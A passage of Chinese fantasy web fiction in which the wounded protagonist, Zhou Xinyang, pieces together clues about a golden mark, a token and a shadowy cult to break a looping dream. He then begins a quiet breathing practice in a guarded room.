“更早之前,我使用了来自记忆碎片的手印,干扰了地脉……”
“再早,是我在地下石室,看到了与印记相关的符号,产生了轻微共鸣……”
“地宫黑影怪物……追逐……金光……”
一条隐隐约约的线索链,在周昕阳脑海中逐渐串联起来,虽然依旧模糊,但方向似乎开始清晰。
“接触与那个势力密切相关的事物,无论是符号、毒草、手印、令牌、邪物——引发‘金色印记’的共鸣或异动——可能导致某种结果,导致地脉扰动、金光爆发、阴影退却——或许是打破循环的契机。”
“其中,接触邪物是起始点,也是印记的源头。”
“接触毒草、符号,是轻微的刺激。”
“使用手印,是初步的应用。”
“接触令牌,是强烈的共鸣。”
“而金光爆发、阴影退却,则是共鸣达到一定程度后,产生的现象。”
“那么,打破循环所需要的钥匙齿,会不会是……将这种共鸣或现象,推动到某个临界点?”
“或者,完成某个与印记、与那势力力量相关的、特定的仪式或验证?”
这个想法让周昕阳心脏猛地一跳。
仪式或验证……这很符合那些隐藏在阴影中的、崇拜诡异图腾的势力作风。
令牌上的符号,地下石室的图案,甚至记忆碎片中那些扭曲的仪式场景……无不暗示着这一点。
“如果这个推测成立,”周昕阳眼神变得锐利起来,“那么,我需要做的,就不是简单地拿到令牌,或者再次接触邪物,而是要在梦境中,利用我现有的条件——体内的金色印记、可能保留的记忆、以及对那个势力力量碎片的粗浅理解——去尝试复现、深化或者完成某个与那力量体系相关的过程!”
这个过程,可能是在特定地点,如地下石室,或溶洞内进行某种共鸣或激发。
可能是解读出某个关键符号的含义,并做出相应回应。
甚至可能是……与那阴影身影进行某种沟通或交易?
毕竟,那阴影似乎对他,或者说对他身上的印记有特殊兴趣,且表现出了一定的智慧。
“令牌是关键媒介,邪物是力量源头或目标,印记是凭证,而我……可能是载体,或者钥匙本身的一部分。”
思路越来越清晰,但也越来越让人感到沉重和危险。
这意味着,他接下来的行动,不能再像之前那样被动逃亡或简单探索。
他必须有意识地去触发印记,去接触那些危险的事物,去解读那些诡异的符号,甚至去主动招惹那可怕的阴影!
每一步,都可能让他万劫不复,在梦境中提前结束,甚至可能对现实中本就脆弱的神魂和身体造成更深的伤害。
但,他没有退路。
现实中瘫痪的双腿,就是悬在头顶的利剑。
这循环的梦境,既是牢笼,也可能是唯一的生机。
“必须谨慎,必须有计划。”周昕阳深吸一口气,压下心中的悸动。
“当务之急,是确认记忆的保留情况,以及尝试复现那手印。”
“然后,是了解当前处境,摸清令牌的下落,以及……地宫和那邪物的现状。”
令牌被谁收走了?
放在哪里?
有无可能接触?
地宫是否被彻底封锁?
那邪物是被销毁、封印,还是转移了?
那些黑影怪物又如何了?
这些信息,决定了他下一步行动的方向和难度。
“最后,才是制定具体的试探计划。以我现在的身体状况,任何冒险都必须经过周密计算,确保在触发钥匙条件前,不会先一步死亡或引发不可控的后果。”
周昕阳缓缓活动了一下依旧乏力的手指,感受着体内微弱却真实存在的气血流动。
“至少,这次醒来,腿的感觉还在。这就是最大的不同,也是最大的希望。”
周昕阳知道自己需要休息,重伤的身体和精神的高强度运转都在透支着他。
但他更知道,时间紧迫,他必须抓紧时间,理清思路,做好准备。
他轻轻挪动身体,试图找到一个更舒服、也能稍微观察室内情况的姿势。
目光扫过静室。
陈设简单,一床一几,两张椅子,一个香炉正吐出袅袅青烟,是安神的药材。
门窗紧闭,但从窗纸透入的微光判断,外面应有侍卫把守。
很安静,也很安全,但这安全之下,是无形的禁锢。
他必须在不引起玄微真人和二姐过度警惕的前提下,开始他的破局尝试。
首先,从最小、最不易察觉的步骤开始。
周昕阳缓缓闭上眼睛,将意识沉入体内,不再去思考那些纷乱的线索和危险的计划,而是专注于自身。
他尝试着,极其缓慢、极其细微地,按照记忆中那来自“无缝方匣”记忆碎片里的、某个最简单的、似乎用于“宁神内观”的基础呼吸法门,调整着自己的呼吸节奏。
没有引动真气,也没有尝试去触碰眉心的金色印记。
只是单纯地,模仿那个呼吸的韵律。
一呼,一吸。
再一呼,一吸。
渐渐地,他感觉到眉心那始终存在的隐痛,似乎减弱了极其细微的一丝。
而体内原本滞涩微弱的气血,在这奇异的呼吸节奏带动下,似乎流淌得稍稍顺畅了那么一点点。
虽然变化微乎其微,但确确实实存在。
周昕阳的心中,悄然生出了一点微光。
这条路,或许真的能走通。
而找出那把“钥匙”,打破这绝望循环的希望,似乎也随着这细微的变化,而清晰了那么一分。
他保持着这奇异的呼吸节奏,让疲惫的身体和精神,在这短暂的安宁中,缓缓恢复着。
脑中,关于“钥匙”的种种推测,关于下一步的计划,如同无声的潮水,继续涌动、推演、完善。
他的身体逐渐复苏……
足足过了一炷香的时间,周昕阳猛地睁开眼睛,要开始行动了。